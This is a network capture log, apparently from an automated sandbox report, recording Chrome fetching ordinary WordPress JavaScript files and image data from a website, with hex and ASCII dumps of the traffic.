2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 35 f0 65 b2 57 5f 87 b8 57 a4 63 f7 6b d2 43 dd af 49 ff 00 c6 bd 27 ff 00 1a f4 99 f7 6b d2 4e ee 05 e9 37 f7 02 f4 89 ee 04 34 93 bb 81 7a 49 dd c0 bd 24 4f ec c2 f4 8f fc 6b d2 3f f1 af 48 8f 76 bd 24 c3 fb 35 e9 08 bb 85 75 e8 3b a5 0a da 6b 8c 97 5a a6 3c 56 be 9f be b5 90 1f da a6 6a b3 db 0a d7 dd 22 cf bc 8b 5e 50 69 68 6a f8 23 b8 e4 9c c1 dd cd 6a a4 21 be b3 77 04 35 8d f6 07 c1 49 30 7b fb 07 25 1b da dc 0e 37 1c ef b9 3c 32 7e cc 81 ae ef 28 a5 91 87 53 37 6b d9 3c d0 dd d1 c7 a1 dd 1a 4e 01 14 f8 9b b9 d9 aa 58 a1 91 bb 4c ba a8 80 c4 f3 80 ec aa 79 9f 1b da e0 a3 aa d6 0b 85 1e d3 6e aa 21 93 33 6b a7 0e 8b 2a 21 6a 78 fa 0e e2 a4 de ef 3e 86 76 d9 e6 10 dc 3e cf 5e 0d dd 1a f4 83 b8 34 23 a4 25 e6 11 ad 97 be 8d 53 fd e1 46 a0 f7 96 bd 6b Data Ascii: 5eW_WckCI'kN74zI$Ok?Hv$5u;kZ<Vj"^Pihj#j!w5I0{%7<2~(S7k<NXLyn!3k*!jx>v>^4#%SFk
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 56 50 56 44 32 76 4a 39 1a f1 76 9b a2 53 37 05 74 d6 e2 25 54 38 53 c1 2c c6 e4 30 5e c1 3f 4f d3 9f d8 bf e8 8e 9b a7 70 b1 81 ff 00 45 1e 93 8d 87 b0 fb 23 a5 21 77 ec 5e 54 95 b4 cf fd 93 97 5a 68 37 00 a3 5d 1f 70 ae bc de e9 5e 92 88 33 0e ad ca 2d 2d 1c 7f b3 72 67 e9 04 0d fd 8b fe 8b f5 96 97 fd bc bf 44 7f 49 29 6d f8 69 6d f0 53 e9 2a 47 ba f1 c2 f1 e0 6c a1 d2 fa 87 5d ad 72 6f e9 2c 16 da a7 7f d1 1f d2 4a 6b 1f f4 f2 7d 11 d2 51 9f d9 b9 3a bd 84 7d db 97 5e 6f 22 a9 bf 48 21 8a 20 c7 c2 f3 6e 4b f5 92 97 dc 4b f4 5f ac 94 bf ed e4 fa 2f d6 3a 6f f6 f2 fd 14 6f d6 c7 1c 83 20 e6 83 f3 e8 f6 fe 1d 04 8e 6a 63 b9 6c f3 5b 3c ca d9 f1 41 c3 92 bf e5 57 fc 8a 43 b3 b9 37 0f 06 05 fc 81 7f 20 4e 39 8c b8 2f e5 0b f9 47 c9 0e d3 72 0a e4 df 72 cf Data Ascii: VPVD2vJ9vS7t%T8S,0^?OpE#!w^TZh7]p^3--rgDI)mimS*Gl]ro,Jk}Q:}^o"H! nKK_/:oo jcl[<AWC7 N9/Grr
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: ba fb 91 11 37 d9 6f c9 17 47 c2 31 f2 4e cf d9 1f 24 f6 9c 07 82 27 22 99 b8 74 ef 71 f3 e9 90 e6 9b bb a0 fd 90 8f 40 fb 03 a0 a2 87 43 93 77 f4 bd 47 bb a1 db 94 7b d3 b2 6b bc 95 3e dc 80 f8 a9 64 c0 32 de 9d 53 51 7d ea 39 de 55 44 84 64 53 5b 73 7b 28 65 c0 e0 ab 19 c5 51 bf 59 4f 19 f0 b2 77 de 74 4b 9b 82 ba 70 06 54 e6 0b 12 1c 9d 13 e5 8c f3 54 f2 ea 25 c2 f5 50 e1 2b 5a 01 46 e0 9e 29 b0 3e 48 b9 79 aa 7a 16 06 b7 19 ba 00 0c 80 e9 aa 9b ab d3 cd 36 1b e0 6d ec bf 59 8f fb 1f ee 4d fd 23 91 e1 c5 ba 3c 90 de d5 9d bb e8 bf 59 ff 00 fa 7f de a7 fd 22 d7 46 59 d5 2d fc c8 e9 2b fe cb ea ba f1 3f b0 2b af 7f c5 f5 5e 9e 92 28 a2 06 85 c0 11 b2 6f bd 1d 37 20 6b 5e ea 27 61 76 e3 7c 8a fd 60 ff 00 ea 7f 72 fd 61 ff 00 ea 7f 72 d6 6b 21 6b ed 6b b4 Data Ascii: 7oG1N$'"tq@CwG{k>d2SQ}9UDdS[s{(eQYOwtKpTT%P+ZF)>Hyz6mYM#<Y"FY-+?+^(o7 k^'av\|`rark!kk
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: f7 b3 04 ad cd 53 49 66 10 e4 0e 22 a0 95 90 be ee 1c 10 ad 80 f1 42 aa 1e fa d7 44 7d b0 b1 b0 fb 41 64 56 10 b0 05 a4 2b a6 a4 a9 64 31 c4 1f 89 a0 f8 a9 f4 85 68 ce 5a 4c 1e 60 84 74 84 84 f6 1a a3 fd 21 a8 8d 81 a2 08 f2 f3 55 3a 62 ba 27 06 cd 48 c6 3a d7 b2 97 4c 57 d3 e0 d6 d2 31 b8 9b 89 b7 e2 10 fd 24 aa 1f b0 8f ea bf 59 aa bf db c5 f5 5f ac d5 5f ed e2 fa a1 a7 b4 83 a1 7c c2 89 9a b6 1b 39 d9 e4 bf 59 aa bf db c5 f5 5e 98 ad aa 76 c5 20 71 03 d9 04 a3 a6 aa 0b 0b 35 4c b2 75 45 6e 0c 46 8d d8 79 e1 36 5d 79 fd c6 ae ba fe e8 4c d3 b3 c6 d0 dd 4c 7f 55 e9 ca 8f 74 c4 74 e5 49 df 1b 17 a6 67 f7 4c 50 c6 f9 a2 8d e5 d6 c4 d0 72 55 34 ba a8 8b b1 1b a8 81 75 ae 78 a3 04 56 ec a6 c5 89 ee 01 ab ab 31 18 f0 6e 17 50 e7 7c 95 87 30 b1 34 28 63 66 27 Data Ascii: SIf"BD}AdV+d1hZL`t!U:b'H:LW1$Y__\|9Y^v q5LuEnFy6]yLLUttIgLPrU4uxV1nP\|04(cf'
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: db 3d 1b 4b 31 c1 6d 72 59 f2 4c 88 63 2e e2 88 23 a1 ae 6b 66 91 ce 75 80 40 8d ea 6a 9c 88 6f cd 68 96 62 a8 92 4e 43 fc aa d8 cc 6e c6 de c9 de 9c 03 b8 27 46 16 ad 60 1c 90 16 52 b0 c3 41 21 77 69 f6 0a 17 12 d3 11 39 70 52 06 08 f7 e6 72 51 8f 58 9d b5 20 00 20 36 d3 b6 9c db 29 86 27 d3 b3 e2 ad 97 44 9b d3 b3 7d d3 1d b2 32 0b 11 08 3c 10 88 51 d6 e9 19 35 a6 26 07 08 f3 76 5b 82 8e af 4a ce dd 64 70 87 37 16 1b e1 e3 c9 4f 36 97 a7 6e 29 a9 f0 37 99 6a 15 9a 4c c0 67 d5 8d 50 36 c7 87 24 dd 25 5d 23 9a c6 00 5c 72 00 35 54 55 69 2a 67 06 4f 1e 02 79 85 1c ba 46 78 e4 92 38 b1 31 9d a2 06 e5 1b ab e6 8a 49 59 16 26 33 b4 eb 6e 5d 6a 5f 04 34 85 40 16 d9 f9 2f 48 54 7e 5f 92 35 93 93 7c 4b ae 4d cc 20 f7 ba 36 38 fc 54 99 35 a5 5f 68 ac 44 00 a3 77 Data Ascii: =K1mrYLc.#kfu@johbNCn'F`RA!wi9pRrQX 6)'D}2<Q5&v[Jdp7O6n)7jLgP6$%]#\r5TUi*gOyFx81IY&3n]j_4@/HT~_5\|KM 68T5_hDw
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 3a b3 89 c1 fb 90 87 7e ec d3 a2 36 ed 6e 55 0f 9a 3a 21 28 7d 9c 0e 4a 2a 4d 33 51 13 27 65 8b 5f bb 36 e6 a4 a9 ac 8d ee 64 8e 2d 70 36 20 85 d6 a7 f7 8b ac 4b df 42 ae 71 ba 44 2b 6b 24 73 46 b6 e4 9b 0c 82 9f 47 e9 78 03 e6 7c 7d 9e d5 88 36 53 3f 48 43 1c 0f 91 db 32 b7 13 37 6e 4c bd 9a 4f 16 82 a4 b3 5f 72 db 84 62 73 f5 58 00 cd 4b 1c d0 38 5e d9 a8 3e ec 5f a2 7f b8 93 c9 0b ee 58 49 e0 8b 1c 38 22 d7 65 92 2d 23 78 41 ae 70 24 0d c8 82 1a d3 c1 16 3a d7 23 24 ca 79 5e 2e d1 92 0c 2d 05 a7 7d d4 0d 2d 26 fd 13 76 a2 1e 2a ca ca c9 b1 88 da 00 e8 64 8e 6e b7 08 cf 12 c6 78 39 39 fb 0f ba 92 66 9c ae 9c c1 bc 39 42 cc 4f fd dc d3 5d 9b 14 92 35 9b 4e dc 9d 5e f2 7b 02 c9 af 12 66 82 25 5f a7 46 bf 15 30 1d d3 6f b5 5a ec 55 12 f9 fd 9c 56 2b 71 bf Data Ascii: :~6nU:!(}JM3Q'e_6d-p6 KBqD+k$sFGx\|}6S?HC27nLO_rbsXK8^>_XI8"e-#xAp$:#$y^.-}-&vdnx99f9BO]5N^{f%_F0oZUV+q
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: a3 9a 90 d1 d2 cd 27 8d 20 f2 71 51 ba 11 5f 51 4e d7 7a c8 29 59 1c 56 b5 fc 6d 7e 29 d3 96 3b 48 ca 22 d5 ca da 46 9d ac 26 e4 5f 33 65 a1 6a 5a 34 91 7c cf b1 95 af 18 8f 79 ca 1a 2a 8a 0d 17 a5 35 cc ed 61 b0 19 e4 38 a9 e3 3a ed 29 51 71 aa 96 8b 60 df 7d 82 a9 7c 7d 45 fa b8 8c 94 c6 97 2b 16 60 1f f7 75 53 a4 1f 4f a5 28 22 2e 1a 82 c6 e2 1f bd 92 d3 b8 29 fa ad 04 7d 98 5b 88 f9 b9 42 c6 6a e3 cb d9 08 76 08 53 54 c5 09 c0 f9 9a 0f c4 af 48 53 db 39 c7 c8 a6 d7 d2 00 07 58 fe d2 bd 21 43 fe e7 fb 4a 75 76 8e 76 f9 cf c8 ae bd a3 7d e3 be ab af d0 77 cf d5 7a 42 8b bf f4 2b d2 34 9e f7 e8 57 a4 29 2e 7d 6f d0 af 48 51 ef d6 7d 0a f4 9d 2f 07 7d 13 b4 9c 1d ef a2 f4 8c 04 66 ff 00 a2 96 b2 37 6e 29 b5 31 db ef 11 ab a5 cb 6b cf 25 0d 7d 2b 07 de fd Data Ascii: ' qQ_QNz)YVm~);H"F&_3ejZ4\|y*5a8:)Qq`}\|}E+`uSO(".)}[BjvSTHS9X!CJuvv}wzB+4W).}oHQ}/}f7n)1k%}+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.17	49811	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	721	OUT	GET /wp-includes/js/quicktags.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:42 UTC	936	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:42 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e709f798c95-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"605d329a-2b8d" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 26 Mar 2021 01:02:18 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EH7tvcyTsUfZVkLu1eOBFrB3%2FNtgMMh2pHxmVwYmupcTq97ZioIE4R2WlflRv8yMAIu2VFnBXrLtFxNUDQc4TpyMyB9hfbs1i3bSvRCLIXMX5GF6kfWCwlkHcDQ7vrXBRwE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:42 UTC	433	IN	Data Raw: 32 62 38 64 0d 0a 2f 2a 21 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 61 75 74 6f 2d 67 65 6e 65 72 61 74 65 64 20 2a 2f 0a 77 69 6e 64 6f 77 2e 65 64 42 75 74 74 6f 6e 73 3d 5b 5d 2c 77 69 6e 64 6f 77 2e 65 64 41 64 64 54 61 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 6e 64 6f 77 2e 65 64 43 68 65 63 6b 4f 70 65 6e 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 6e 64 6f 77 2e 65 64 43 6c 6f 73 65 41 6c 6c 54 61 67 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 6e 64 6f 77 2e 65 64 49 6e 73 65 72 74 49 6d 61 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 6e 64 6f 77 2e 65 64 49 6e 73 65 72 74 4c 69 6e 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 6e 64 6f 77 2e 65 64 49 6e 73 65 72 74 54 61 67 3d 66 75 6e 63 74 69 6f 6e Data Ascii: 2b8d/! This file is auto-generated /window.edButtons=[],window.edAddTag=function(){},window.edCheckOpenTags=function(){},window.edCloseAllTags=function(){},window.edInsertImage=function(){},window.edInsertLink=function(){},window.edInsertTag=function
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 29 7b 7d 2c 77 69 6e 64 6f 77 2e 65 64 54 6f 6f 6c 62 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 2c 75 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 6e 2c 6f 2c 61 3b 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6a 51 75 65 72 79 3f 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 74 29 3a 28 28 65 3d 75 29 2e 66 75 6e 63 73 3d 5b 5d 2c 65 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 65 2e 69 73 52 65 61 64 79 29 66 6f 72 28 65 2e 69 73 52 65 61 64 79 3d 21 30 2c 6e 3d 30 3b 6e 3c 65 2e 66 75 6e 63 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 65 2e 66 75 6e 63 73 5b 6e 5d 28 29 7d 2c 65 2e 69 73 52 65 61 64 79 3f 74 Data Ascii: nction(){},window.edToolbar=function(){},function(){var t,e,u=function(t){var e,n,o,a;"undefined"!=typeof jQuery?jQuery(document).ready(t):((e=u).funcs=[],e.ready=function(){if(!e.isReady)for(e.isReady=!0,n=0;n<e.funcs.length;n++)e.funcs[n]()},e.isReady?t
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 3f 6c 2b 22 5f 74 6f 6f 6c 62 61 72 22 3a 28 77 69 6e 64 6f 77 2e 65 64 43 61 6e 76 61 73 3d 73 2c 22 65 64 5f 74 6f 6f 6c 62 61 72 22 29 2c 28 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 6f 29 29 7c 7c 28 28 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 29 2e 69 64 3d 6f 2c 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 22 71 75 69 63 6b 74 61 67 73 2d 74 6f 6f 6c 62 61 72 22 29 2c 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 65 2c 73 29 2c 61 2e 74 6f 6f 6c 62 61 72 3d 65 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 28 74 3d 74 7c 7c 77 69 6e 64 6f 77 2e 65 76 65 6e 74 29 2e 74 61 72 67 65 74 7c 7c 74 2e 73 72 63 45 6c 65 6d 65 6e 74 Data Ascii: ?l+"_toolbar":(window.edCanvas=s,"ed_toolbar"),(e=document.getElementById(o))\|\|((e=document.createElement("div")).id=o,e.className="quicktags-toolbar"),s.parentNode.insertBefore(e,s),a.toolbar=e,n=function(t){var e=(t=t\|\|window.event).target\|\|t.srcElement
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 62 75 74 74 6f 6e 73 26 26 28 75 3d 22 2c 22 2b 69 2e 62 75 74 74 6f 6e 73 2b 22 2c 22 29 2c 65 64 42 75 74 74 6f 6e 73 29 65 64 42 75 74 74 6f 6e 73 5b 6e 5d 26 26 28 65 3d 65 64 42 75 74 74 6f 6e 73 5b 6e 5d 2e 69 64 2c 75 26 26 2d 31 21 3d 3d 22 2c 73 74 72 6f 6e 67 2c 65 6d 2c 6c 69 6e 6b 2c 62 6c 6f 63 6b 2c 64 65 6c 2c 69 6e 73 2c 69 6d 67 2c 75 6c 2c 6f 6c 2c 6c 69 2c 63 6f 64 65 2c 6d 6f 72 65 2c 63 6c 6f 73 65 2c 22 2e 69 6e 64 65 78 4f 66 28 22 2c 22 2b 65 2b 22 2c 22 29 26 26 2d 31 3d 3d 3d 75 2e 69 6e 64 65 78 4f 66 28 22 2c 22 2b 65 2b 22 2c 22 29 7c 7c 65 64 42 75 74 74 6f 6e 73 5b 6e 5d 2e 69 6e 73 74 61 6e 63 65 26 26 65 64 42 75 74 74 6f 6e 73 5b 6e 5d 2e 69 6e 73 74 61 6e 63 65 21 3d 3d 74 7c 7c 28 6c 5b 65 5d 3d 65 64 42 75 74 74 6f 6e Data Ascii: buttons&&(u=","+i.buttons+","),edButtons)edButtons[n]&&(e=edButtons[n].id,u&&-1!==",strong,em,link,block,del,ins,img,ul,ol,li,code,more,close,".indexOf(","+e+",")&&-1===u.indexOf(","+e+",")\|\|edButtons[n].instance&&edButtons[n].instance!==t\|\|(l[e]=edButton
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 65 6e 67 74 68 29 2c 69 2e 73 65 6c 65 63 74 69 6f 6e 53 74 61 72 74 3d 65 2b 74 2e 6c 65 6e 67 74 68 2c 69 2e 73 65 6c 65 63 74 69 6f 6e 45 6e 64 3d 65 2b 74 2e 6c 65 6e 67 74 68 2c 69 2e 73 63 72 6f 6c 6c 54 6f 70 3d 6f 29 3a 69 2e 76 61 6c 75 65 2b 3d 74 2c 69 2e 66 6f 63 75 73 28 29 2c 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 3f 28 28 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 48 54 4d 4c 45 76 65 6e 74 73 22 29 29 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 68 61 6e 67 65 22 2c 21 31 2c 21 30 29 2c 69 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 74 29 29 3a 69 2e 66 69 72 65 45 76 65 6e 74 26 26 69 2e 66 69 72 65 45 76 65 6e 74 28 22 6f 6e 63 68 61 6e 67 65 22 29 2c 21 30 29 7d 2c 72 2e 42 75 74 74 6f 6e 3d Data Ascii: ength),i.selectionStart=e+t.length,i.selectionEnd=e+t.length,i.scrollTop=o):i.value+=t,i.focus(),document.createEvent?((t=document.createEvent("HTMLEvents")).initEvent("change",!1,!0),i.dispatchEvent(t)):i.fireEvent&&i.fireEvent("onchange"),!0)},r.Button=
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 22 2c 74 68 69 73 2e 61 74 74 72 2e 61 72 69 61 4c 61 62 65 6c 43 6c 6f 73 65 29 29 7d 2c 72 2e 54 61 67 42 75 74 74 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 6f 73 65 54 61 67 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 2e 69 73 4f 70 65 6e 28 65 29 3b 21 31 21 3d 3d 6e 26 26 65 2e 6f 70 65 6e 54 61 67 73 2e 73 70 6c 69 63 65 28 6e 2c 31 29 2c 74 2e 76 61 6c 75 65 3d 74 68 69 73 2e 64 69 73 70 6c 61 79 2c 74 68 69 73 2e 61 74 74 72 2e 61 72 69 61 4c 61 62 65 6c 26 26 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 22 2c 74 68 69 73 2e 61 74 74 72 2e 61 72 69 61 4c 61 62 65 6c 29 7d 2c 72 2e 54 61 67 42 75 74 74 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 69 Data Ascii: e("aria-label",this.attr.ariaLabelClose))},r.TagButton.prototype.closeTag=function(t,e){var n=this.isOpen(e);!1!==n&&e.openTags.splice(n,1),t.value=this.display,this.attr.ariaLabel&&t.setAttribute("aria-label",this.attr.ariaLabel)},r.TagButton.prototype.i
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 2e 74 61 67 53 74 61 72 74 2c 65 2e 66 6f 63 75 73 28 29 2c 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 3f 28 28 63 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 48 54 4d 4c 45 76 65 6e 74 73 22 29 29 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 68 61 6e 67 65 22 2c 21 31 2c 21 30 29 2c 65 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 63 29 29 3a 65 2e 66 69 72 65 45 76 65 6e 74 26 26 65 2e 66 69 72 65 45 76 65 6e 74 28 22 6f 6e 63 68 61 6e 67 65 22 29 7d 2c 72 2e 53 70 65 6c 6c 42 75 74 74 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 72 2e 43 6c 6f 73 65 42 75 74 74 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 42 75 74 74 6f 6e 2e 63 61 6c 6c 28 74 68 69 73 2c 22 63 6c 6f 73 65 22 2c 71 75 69 63 6b 74 61 67 73 4c 31 Data Ascii: .tagStart,e.focus(),document.createEvent?((c=document.createEvent("HTMLEvents")).initEvent("change",!1,!0),e.dispatchEvent(c)):e.fireEvent&&e.fireEvent("onchange")},r.SpellButton=function(){},r.CloseButton=function(){r.Button.call(this,"close",quicktagsL1
2024-04-11 21:26:42 UTC	1369	IN	Data Raw: 6f 3d 70 72 6f 6d 70 74 28 71 75 69 63 6b 74 61 67 73 4c 31 30 6e 2e 65 6e 74 65 72 49 6d 61 67 65 44 65 73 63 72 69 70 74 69 6f 6e 2c 22 22 29 2c 74 68 69 73 2e 74 61 67 53 74 61 72 74 3d 27 3c 69 6d 67 20 73 72 63 3d 22 27 2b 61 2b 27 22 20 61 6c 74 3d 22 27 2b 6f 2b 27 22 20 2f 3e 27 2c 72 2e 54 61 67 42 75 74 74 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 74 68 69 73 2c 74 2c 65 2c 6e 29 29 7d 2c 72 2e 44 46 57 42 75 74 74 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 2e 42 75 74 74 6f 6e 2e 63 61 6c 6c 28 74 68 69 73 2c 22 64 66 77 22 2c 22 22 2c 22 66 22 2c 71 75 69 63 6b 74 61 67 73 4c 31 30 6e 2e 64 66 77 29 7d 2c 72 2e 44 46 57 42 75 74 74 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 72 2e 42 75 74 74 6f Data Ascii: o=prompt(quicktagsL10n.enterImageDescription,""),this.tagStart='<img src="'+a+'" alt="'+o+'" />',r.TagButton.prototype.callback.call(this,t,e,n))},r.DFWButton=function(){r.Button.call(this,"dfw","","f",quicktagsL10n.dfw)},r.DFWButton.prototype=new r.Butto
2024-04-11 21:26:42 UTC	1141	IN	Data Raw: 4c 61 62 65 6c 43 6c 6f 73 65 3a 71 75 69 63 6b 74 61 67 73 4c 31 30 6e 2e 64 65 6c 43 6c 6f 73 65 7d 29 2c 65 64 42 75 74 74 6f 6e 73 5b 36 30 5d 3d 6e 65 77 20 72 2e 54 61 67 42 75 74 74 6f 6e 28 22 69 6e 73 22 2c 22 69 6e 73 22 2c 27 3c 69 6e 73 20 64 61 74 65 74 69 6d 65 3d 22 27 2b 74 2b 27 22 3e 27 2c 22 3c 2f 69 6e 73 3e 22 2c 22 22 2c 22 22 2c 22 22 2c 7b 61 72 69 61 4c 61 62 65 6c 3a 71 75 69 63 6b 74 61 67 73 4c 31 30 6e 2e 69 6e 73 2c 61 72 69 61 4c 61 62 65 6c 43 6c 6f 73 65 3a 71 75 69 63 6b 74 61 67 73 4c 31 30 6e 2e 69 6e 73 43 6c 6f 73 65 7d 29 2c 65 64 42 75 74 74 6f 6e 73 5b 37 30 5d 3d 6e 65 77 20 72 2e 49 6d 67 42 75 74 74 6f 6e 2c 65 64 42 75 74 74 6f 6e 73 5b 38 30 5d 3d 6e 65 77 20 72 2e 54 61 67 42 75 74 74 6f 6e 28 22 75 6c 22 2c Data Ascii: LabelClose:quicktagsL10n.delClose}),edButtons[60]=new r.TagButton("ins","ins",'<ins datetime="'+t+'">',"</ins>","","","",{ariaLabel:quicktagsL10n.ins,ariaLabelClose:quicktagsL10n.insClose}),edButtons[70]=new r.ImgButton,edButtons[80]=new r.TagButton("ul",
2024-04-11 21:26:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.17	49810	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	726	OUT	GET /wp-includes/js/jquery/ui/core.min.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:42 UTC	940	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:42 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e709ffc43ad-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"605d329a-5133" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 26 Mar 2021 01:02:18 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9dukak3Sco6dBfICam1mjVJ4fLAhxdCFNzwoZUF4L2QAvuTkxLH7P58mfCBADNq2IIGJ%2FV%2FzTTDJXjCUQDfyf0JfBreA5v9UT3%2BY6xbaObEczOnY54o0fBpsKDVFOIa4Bek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
